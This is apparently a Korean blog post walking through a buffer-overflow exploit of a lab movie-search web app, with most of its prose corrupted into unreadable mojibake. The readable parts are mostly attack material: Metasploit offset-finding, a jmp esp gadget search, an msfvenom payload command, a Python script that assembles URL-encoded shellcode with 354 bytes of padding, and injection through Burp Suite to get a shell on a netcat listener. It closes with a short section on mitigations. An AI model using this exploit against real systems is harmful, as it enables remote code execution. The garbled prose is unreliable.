ํ‹ฐ์Šคํ† ๋ฆฌ ๋ทฐ

๊ฐœ์š”

์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฆ‰ ํ”„๋กœ๊ทธ๋žจ์ด ๋ณ€์ˆ˜์˜ ํ• ๋‹น๋œ ๊ณต๊ฐ„์— ์ €์žฅ๋  ๋ฐ์ดํ„ฐ์˜ ํฌ๊ธฐ(๋ฒ„ํผ)๋ฅผ ๊ฒ€์‚ฌํ•˜๊ฑฐ๋‚˜ ์ œํ•œํ•˜์ง€ ์•Š๊ฒŒ ๋  ๊ฒฝ์šฐ ๋ฐ˜ํ™˜ ์ฃผ์†Œ ๋ผ ๋ถˆ๋ฆฌ๋Š” Return Address(RET)์— ๋ฎ์–ด ์”Œ์›Œ์ ธ ํ•ด๋‹น ๊ธฐ๋Šฅ์ด ์ค‘์ง€๋˜๊ฑฐ๋‚˜ RET  ๊ฐ’์— ๊ณต๊ฒฉ์ฝ”๋“œ๋ฅผ ์˜๋„์ ์œผ๋กœ ์‚ฝ์ž…๋˜๊ฒŒ ํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ์‹คํ–‰ํ•˜๊ณ ์ž ํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ์‹ฌ๊ฐํ•œ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค.

 

์Šคํƒ(Stack), ํž™(Heap) ๋“ฑ ๋‹ค์–‘ํ•œ ์šด์˜์ฒด์ œ์— BOF ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์šฐ์„  Linux ํ™˜๊ฒฝ์—์„œ ์‹ค์Šต์„ ์ง„ํ–‰ํ•ด๋ณผ ๊ฒƒ์ด๊ธฐ์— ํ”„๋กœ๊ทธ๋žจ ์‹คํ–‰ ์‹œ ์‚ฌ์šฉ๋˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

Stack : ํ›„์ž…์„ ์ถœ ์ธ Last In First Out ํŠน์„ฑ์„ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉฐ, ํ•จ์ˆ˜์— ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ „๋‹ฌํ•˜๋Š” ๋“ฑ ํ•จ์ˆ˜ ํ˜ธ์ถœ๊ณผ ๊ด€๋ จ๋œ ์ •๋ณด๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Œ
Heap : ๋™์ ํ• ๋‹น ์‹œ ์‚ฌ์šฉ
Date : ์ดˆ๊ธฐํ™”๋œ ๋ฐ์ดํ„ฐ๊ฐ€ ์œ„์น˜ํ•˜๋Š” ์˜์—ญ
Code : ์–ด์…ˆ๋ธ”๋ฆฌ๋‚˜ ๊ธฐ๊ณ„์–ด ๊ฐ™์€ ๋ช…๋ น์–ด๋“ค์ด ์œ„์น˜ ์ฆ‰ ํ”„๋กœ๊ทธ๋žจ์˜ ์‹คํ–‰์ฝ”๋“œ๊ฐ€ ๋‹ด๊ธด ์˜์—ญ

Stack ๋’ท๋ถ€๋ถ„์— ๋ฐ˜ํ™˜์ฃผ์†Œ์ธ RET ๊ฐ€ ์žˆ๋Š”๋ฐ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋˜์–ด๋ฒ„๋ฆฌ๋ฉด RET ์˜์—ญ๊นŒ์ง€ ๋„˜์ณ ๊ฐ•์ œ์ ์œผ๋กœ ๋ฎ์ธ ์ฃผ์†Œ๋กœ ๋„˜์–ด๊ฐ€๊ฒŒ ๋˜๋Š”๋ฐ ์ด ์˜์—ญ์—๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฝ์ž…ํ•ด๋‘” "Payload"๊ฐ€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

 

๊ณต๊ฒฉ์ฝ”๋“œ๋Š” ๋ณดํ†ต ํŠน์ • ์‹œ์Šคํ…œ์—์„œ ์‹คํ–‰๋  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๊ณ„์–ด ์ฝ”๋“œ์™€ ๋ณต๊ท€ ํฌ์ธํ„ฐ์— ์ €์žฅ๋  ์ƒˆ๋กœ์šด ์ฃผ์†Œ๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

BufferOverflow ์„ฑ๊ณต ์กฐ๊ฑด
(1) ์‹คํ–‰ ์ค‘์ธ ํ”„๋กœ๊ทธ๋žจ์ด ํ•„์š”๋กœ ํ•˜๋Š” ์ •๋ณด๋ฅผ ์ €์žฅํ•˜๋Š” ๊ณต๊ฐ„์ธ Stack์˜ ๊ตฌ์กฐ
(2) ์ทจ์•ฝํ•œ ํ•จ์ˆ˜ ์‚ฌ์šฉ(strcpy, Scanf, Strcat ๋“ฑ)
(3) Buffer์˜ ์ฃผ์†Œ ์ฆ‰ ๋ฐ์ดํ„ฐ๊ฐ€ ์ผ์‹œ์ ์œผ๋กœ ์ €์žฅ๋˜๋Š” ๊ณต๊ฐ„
 if(isset($_POST["title"]))
    {
        $title = $_POST["title"];
	$title = commandi($title);
        if($title == "")
        {
            echo "<p><font color=\"red\">Please enter a title...</font></p>";
        }
        else
        {
            echo shell_exec("./apps/movie_search " . $title);
        }
    }

BOF ๊ฐ€ ๋ฐœ์ƒ๋˜๋Š” ์˜์—ญ์ž…๋‹ˆ๋‹ค. ํ•ด๋‹น ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์˜ํ™” ์ œ๋ชฉ์„ ๊ฒ€์ƒ‰ํ•ด์„œ ์›ํ•˜๋Š” ๊ฒฐ๊ณผ๋ฅผ ๋„์ถœ์‹œ์ผœ์ฃผ๋Š” ๊ธฐ๋Šฅ์„ ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. shell_exec๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฟผ๋ฆฌ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ์žˆ์œผ๋ฉฐ ๋งค๊ฐœ๋ณ€์ˆ˜๋Š” movie_search ๋ฐ command($title);์ž…๋‹ˆ๋‹ค.

 

pattern_creat.rb : "A" ์‹œํ€€์Šค๋ฅผ ๋Œ€์ฒดํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ณ ์œ  ํŒจํ„ด์œผ๋กœ ๋ฌธ์ž์—ด ์ƒ์„ฑ
pattern_offset.rb : EIP์— ์”Œ์šธ ์ •ํ™•ํ•œ ๋ฒ„ํผ ๊ธธ์ด ๊ณ„์‚ฐ์„ ์œ„ํ•ด ์‚ฌ์šฉ(EIP / SEH ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ƒˆ์„ ๋•Œ ์‚ฌ์šฉ)

๊ณต๊ฒฉ์ž๊ฐ€ ์ƒ์„  ํ•œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์ •ํ™•ํ•œ Offset์„ ๊ฒฐ์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. Metasploit์˜ ๋„์›€์„ ๋ฐ›์•„ EIP๋ฅผ ๋ฎ์–ด ์”Œ์›Œ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

 

* EIP(32๋น„ํŠธ)๋Š” "ํ™•์žฅ ๋ช…๋ น ํฌ์ธํ„ฐ"๋กœ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ฝ์–ด ๋“ค์ผ ๋‹ค์Œ ๋ช…๋ น์–ด์˜ ์ฃผ์†Œ๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ๊ธฐ์— ์•…์˜์ ์ธ ์ฝ”๋“œ๋กœ ๋ฎ์–ด์”Œ์šธ ์ˆ˜ ์žˆ๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ์›ํ•˜๋Š” ๋ฐฉํ–ฅ์œผ๋กœ ๋‚˜์•„๊ฐˆ ์ˆ˜ ์žˆ๋Š” ํ•ต์‹ฌ ์š”์†Œ

 

์ƒ์„ฑ๋œ ๋ฌธ์ž์—ด์„ ๊ฐ€์ง€๊ณ  ๋Œ€์ƒ ์„œ๋น„์Šค๋กœ ๋„˜์–ด์™€ "gdb" ๋””๋ฒ„๊น…์„ ํ•ด๋ณด๋ฉด "EIP" ๋ ˆ์ง€์Šคํ„ฐ์— ๋ณ€ํ™”๊ฐ€ ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. 

 

๋ ˆ์ง€์Šคํ„ฐ ์ •๋ณด๋ฅผ ํ™•์ธํ•˜์—ฌ ์ •ํ™•ํ•œ EIP ์ฃผ์†Œ ๊ฐ’(0x41386 c41)์„ ์ฐพ์•˜์Šต๋‹ˆ๋‹ค. EIP  ๋ ˆ์ง€์Šคํ„ฐ ์ฃผ์†Œ๋ฅผ ์ฐพ์•˜์œผ๋ฉด ์ด์ œ ๋‹ค์‹œ Metasploit ํ„ฐ๋ฏธ๋„๋กœ ๋Œ์•„๊ฐ€๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

pattern_offset.rb๋ฅผ ํ†ตํ•ด EIP ๋ ˆ์ง€์Šคํ„ฐ ์ฃผ์†Œ์˜ offset ๊ฐ’์ด 354 ์ธ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฆ‰ EIP ์ฃผ์†Œ์— 354 ๋งŒํผ ์ฑ„์›Œ์งˆ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•˜๋ฉฐ ์Šคํƒ์˜ ์ƒ๋‹จ ํฌ์ธํ„ฐ offset ์ด 358 ๋ฐ”์ดํŠธ์ด์—ˆ์œผ๋ฉฐ ์Šคํƒ์˜ ์ƒ๋‹จ ํฌ์ธ๊ฐ€ 4๋ฐ”์ดํŠธ๋ฅผ ์ฐจ์ง€ํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

 

ํ˜„์žฌ๊นŒ์ง€ "A" ๋ฌธ์ž์—ด๋กœ ์ƒ์„ฑ ํ›„ ์ถฉ๋Œ  -> ์ถฉ๋Œ ๋‹น์‹œ ๋ ˆ์ง€์Šคํ„ฐ์— ์ €์žฅ๋œ ๊ฐ’์„ ๊ฐ€์ ธ์˜ด -> pattern_offset.rb๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌธ์ž์—ด์—์„œ ํ•ด๋‹น ๊ฐ’์˜ ์œ„์น˜๋ฅผ ํ™•์ธ -> ์ด๋ฅผ ํ†ตํ•ด ๋ฐ˜ํ™˜ ์ฃผ์†Œ์ธ RET ๋˜๋Š” ์‰˜  ์ฝ”๋“œ ๋ฐฐ์น˜๋ฅผ ์œ„ํ•œ ์˜คํ”„์…‹์„ ํ•ด๊ฒฐ

 

EIP๊ฐ€ ESP ๋ ˆ์ง€์Šคํ„ฐ์— ํฌํ•จ๋œ ์ฃผ์†Œ๋กœ ์ ํ”„ํ•˜๋„๋ก ๋ช…๋ นํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ ํ”„ ํ›„ ์‰˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋Œ€์ƒ ์„œ๋น„์Šค์—์„œ objdump -D./apps/movie_search | grep jmp.*esp ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜๋ฉด ์ฃผ์†Œ ๊ฐ’์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

BufferOverflow Payload ์ƒ์„ฑ
 msfvenom -p linux/x86/exec CMD=/bin/ps -b '\x00' -e x86/opt_sub -f raw > guleum.txt
 -p :payload ์ง€์ •
 -f :์ถœ๋ ฅํ˜•์‹ ์ง€์ • > ์ƒ์„ฑํ•  ํŒŒ์ผ๋ช…

msfvenom์„ ํ™œ์šฉํ•ด์„œ Payload๋ฅผ ์›ํ•˜๋Š” ํ˜•ํƒœ๋กœ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์™ธ์— metasploit์„ ํ™œ์šฉํ•ด์„œ ์ƒ์„ฑํ•ด๋„ ์ƒ๊ด€์—†์Šต๋‹ˆ๋‹ค.

 

metasploit ํ™œ์šฉ

-b: badcharcters๋กœ \x00์„ ์ œ์™ธ์‹œ์ผœ ์ƒ์„ฑ
-e : ์ธ์ฝ”๋”ฉ ์ˆ˜ํ–‰
-f : ์ถœ๋ ฅ ํ˜•์‹ ์ง€์ •(raw, bash, C, java, python ๋“ฑ)
-o : ์ถœ๋ ฅํ•  ๊ฒฝ๋กœ ๋ฐ ํŒŒ์ผ๋ช… ์ง€์ •

 

(echo -n \; cat guleum.txt; echo -n \;) | perl -pe's/(.)/sprintf("%%%02X",ord($1))/seg'

์ƒ์„ฑ๋œ Payload๋ฅผ "cat" ๋ช…๋ น์„ ํ†ตํ•ด ํ™•์ธํ•ด๋ณด๋ฉด ์‹๋ณ„ํ•˜๊ธฐ ํž˜๋“  ๊ธฐ๊ณ„์–ด ์ฝ”๋“œ๊ฐ€ ์ถœ๋ ฅ์ด ๋ฉ๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ์ƒ์„ฑํ•œ ์‰˜ ์ฝ”๋“œ๋ฅผ ์›น ์ƒ์— ๋˜์ ธ์„œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•  ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์— ํ•ด๋‹น ๋ช…๋ น์„ ํ†ตํ•ด url ์ธ์ฝ”๋”ฉ ํ˜•ํƒœ๋กœ ๋ณ€ํ™˜์‹œํ‚ค๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

  // ์ƒ์„ฑํ•œ .py ํŒŒ์ผ ๋‚ด๋ถ€์— ํ•˜๋‹จ์˜ ์ฝ”๋“œ ์ถ”๊ฐ€
 dummy = '%41' * 354
 jmpesp = '%8f%92%04%08'
 shellcode = '%27%54%58%2d%05%fd%fd%fd%2d%01%01%01%01%2d%01%01%01%01%50%5c%25%01%01%01%01%25%
 02%02%02%02%2d%75%1c%30%7d%2d%01%01%01%01%2d%01%01%01%01%50%2d%14%df%74%2b%2d%01%01%01%01%2d
 %01%01%01%01%50%2d%08%90%25%e1%2d%01%01%01%01%2d%01%01%01%01%50%2d%67%6c%fe%0b%2d%01%01%01%0
 1%2d%01%01%01%01%50%2d%ac%15%24%60%2d%01%01%01%01%2d%01%01%01%01%50%2d%e7%77%7d%1a%2d%01%01%0
 1%01%2d%01%01%01%01%50%2d%67%04%58%7f%2d%01%01%01%01%2d%01%01%01%01%50%2d%96%36%ba%f7%2d%01%0
 1%01%01%2d%01%01%01%01%50%2d%39%ca%e7%7e%2d%01%01%01%01%2d%01%01%01%01%50%2d%92%0e%21%7d%2d%01
 %01%01%01%2d%01%01%01%01%50%2d%07%e6%58%0e%2d%01%01%01%01%2d%01%01%01%01%50%27'

 payload = shellcode[:3] + dummy + jmpesp + shellcode[3:]

 print payload
dummy : %41 * 354๋Š” A(%41)๋ผ๋Š” Metasploit์œผ๋กœ ์ƒ์„ฑํ•œ ์“ฐ๋ ˆ๊ธฐ ๋ฌธ์ž์—ด์„ 354๊ฐœ ๋„˜๊ฒจ์ฃผ๋ฉด์„œ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ๋ฐœ์ƒ
jmpesp : ๋ฐ˜ํ™˜ ์ฃผ์†Œ์ธ RET ๊ฐ’์„ ์˜๋ฏธํ•จ
shellcod : Metasploit Payload ๋˜๋Š” msfvenom์œผ๋กœ ์ƒ์„ฑํ•œ ์‰˜ ์ฝ”๋“œ๋ฅผ -> URL ์ธ์ฝ”๋”ฉํ•œ ์ฝ”๋“œ๋ฅผ ' '(์ž‘์€๋”ฐ์˜ดํ‘œ ์•ˆ์— ๋„ฃ์–ด์ค€ ๊ฒƒ)
payload = shellcode [:3] + dummy + jmpesp + shellcode [3:]  : shellcode
์˜ ๋งจ ์ฒ˜์Œ๊ณผ ๋์ธ %27 ->  ' (์ž‘์€๋”ฐ์˜ดํ‘œ๋ฅผ ์˜๋ฏธํ•˜๊ธฐ๋•Œ๋ฌธ

url ์ธ์ฝ”๋”ฉ ํ˜•ํƒœ๋กœ ๋ณ€ํ™˜๋œ guleum.txt ๋Š” ๊ทธ๋Œ€๋กœ ๋‘๊ณ . py ํ˜•ํƒœ๋กœ ํŒŒ์ผ์„ ํ•˜๋‚˜ ๋งŒ๋“ค์–ด ์ตœ์ข… ๊ณต๊ฒฉ์ฝ”๋“œ๋ฅผ ์ถœ๋ ฅํ•ด๋ณด๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น. ์šฐ์„ฑ py ํŒŒ์ผ ์•ˆ์— ํ•˜๋‹จ์˜ ๋‚ด์šฉ์„ ์ถ”๊ฐ€ํ•ด์ฃผ์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

 

์‹คํ–‰ํ•ด ์ฃผ์‹œ๋ฉด ์ตœ์ข…์ ์ธ ์ฝ”๋“œ๊ฐ€ ์ถœ๋ ฅ๋ฉ๋‹ˆ๋‹ค.

 

์ด์ œ ๊ณต๊ฒฉ์ž๋Š” nc (netcat)์„ 4444๋ฒˆ ํฌํŠธ๋กœ ๋ฆฌ์Šค๋‹ ์ƒํƒœ๋กœ ๋Œ€๊ธฐ์‹œ์ผœ๋‘ก๋‹ˆ๋‹ค. nc๋Š” TCP/UDP ํ”„๋กœํ† ์ฝœ๋กœ ์—ฐ๊ฒฐ๋œ ๋„คํŠธ์›Œํฌ ์ƒ์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ๊ธฐ์— ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์‹œ ์‹คํ–‰์‹œํ‚ฌ ์ฝ”๋“œ๋ฅผ ๋„˜๊ฒจ์ฃผ๊ณ  ๊ณต๊ฒฉ์ž์™€ ์„ธ์…˜์ด ํ™•๋ฆฝ๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

ํ”„๋ก์‹œ ๋„๊ตฌ์ธ Burp Suite๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž…๋ ฅ๊ฐ’์„ ๋ฐ›์•„์ฃผ๋Š” command($title) ๋งค๊ฐœ๋ณ€์ˆ˜์— ๊ณต๊ฒฉ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•ด์ฃผ๋ฉด ๋ฉ๋‹ˆ๋‹ค. dummy ๋ฌธ์ž๋ฅผ 354 ๊ฐœ๋ฅผ ๋„˜๊น€์œผ๋กœ์จ ๋งˆ์ง€๋ง‰์— ์‹คํ–‰๋˜๋Š” ๋ฐ˜ํ™˜ ์ฃผ์†Œ(RET) ์˜์—ญ๊นŒ์ง€ ์นจ๋ฒ”ํ•˜๊ฒŒ ๋˜๊ณ  ๊ณต๊ฒฉ์ž๊ฐ€ ์›ํ•˜๋Š” Payload๋กœ ๊ฐ•์ œ์ ์œผ๋กœ ์ด๋™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

๊ณต๊ฒฉ ์ˆ˜ํ–‰ ํ›„ 4444๋ฒˆ ํฌํŠธ๋กœ ๋ฆฌ์Šค๋‹ ์ค‘์ธ ํ„ฐ๋ฏธ๋„์„ ํ™•์ธํ•ด๋ณด๋ฉด ์„ธ์…˜์ด ์„ฑ๊ณต์ ์œผ๋กœ ํ™•๋ฆฝ๋ผ์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ๋Œ€์ƒ ์‹œ์Šคํ…œ์— ์›ํ•˜๋Š” ๋ช…๋ น์–ด๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.


Buffer Overflow ๋Œ€์‘๋ฐฉ์•ˆ

๋ฌธ์ž์—ด์„ ์ฒ˜๋ฆฌํ•ด์ฃผ๋Š” ํ•จ์ˆ˜์—์„œ ์ž…๋ ฅ๊ฐ’(๋ฒ„ํผ ๊ธธ์ด)์„ ๊ฒ€์ฆํ•˜๊ณ  ์ทจ์•ฝํ•œ ํ•จ์ˆ˜๋Š” ์‚ฌ์šฉํ•˜์ง€ ์•Š๋„๋ก ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋ฒ„ํผ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ๋ง‰๊ธฐ ์œ„ํ•ด ๋Œ€ํ‘œ์ ์œผ๋กœ ASLR, DEP ๋“ฑ์ด ์žˆ๋Š”๋ฐ, DEP(Date Execution Prevention)๋Š” ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์— ์ž„์˜์˜ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๋Š” ๊ธฐ๋ฒ•์œผ๋กœ Windows์—์„œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ Linux ์ƒ์—์„œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ BOF๋ฅผ ๋ฐฉ์–ดํ•˜๊ธฐ ์œ„ํ•œ ASLR ์ด ์„ค์ •๋˜์–ด ์žˆ๋Š”๋ฐ

*ASLR(Address Space Layout Randomization) ์ด๋ž€ ์ฃผ์†Œ๋ฅผ ๋žœ๋ค์œผ๋กœ ๋ฐฐ์น˜ํ•˜์—ฌ ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ์ฃผ์†Œ๊ฐ€ ๋ฐ”๋€Œ๋Š” ๊ธฐ๋ฒ•์ด๋‹ค.

 

์ด ๋˜ํ•œ RTL(Return To Libc)์ด๋ผ๋Š” ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ(์Šคํƒ๊ณผ ํž™ ์ค‘๊ฐ„์— ์œ„์น˜ํ•จ)์— ํ•จ์ˆ˜๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ  DEP ์šฐํšŒ ๊ธฐ๋ฒ•์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ DEP -> ๊ธฐ๋ฒ•์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” RTL ๊ธฐ๋ฒ•์— ๋Œ€์‘ํ•˜๊ธฐ ์œ„ํ•ด์„  "ASCII Armor"์ด๋ผ๋Š” ๊ณต์œ  ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์˜์—ญ์˜ ์ƒ์œ„ ์ฃผ์†Œ์— "0x00"๋ฅผ ํฌํ•จ์‹œํ‚ค๊ฒŒ ํ•˜์—ฌ ์ธ์ž๊ฐ€ ์ „๋‹ฌ๋˜์ง€ ์•Š๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์ด์™ธ์—๋„ ๋‹ค์–‘ํ•œ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•๊ณผ ๋Œ€์‘๋ฐฉ์•ˆ์ด ์กด์žฌํ•˜์ง€๋งŒ ๋‹ค๋ฅธ ํ™˜๊ฒฝ์—์„œ์˜ ๋ถ„์„์„ ์ข€ ๋” ์ˆ˜ํ–‰ํ•ด๋ณด๊ณ  ์ž‘์„ฑํ•  ์˜ˆ์ •์ž…๋‹ˆ๋‹ค.

๊ณต์œ ํ•˜๊ธฐ ๋งํฌ
Comment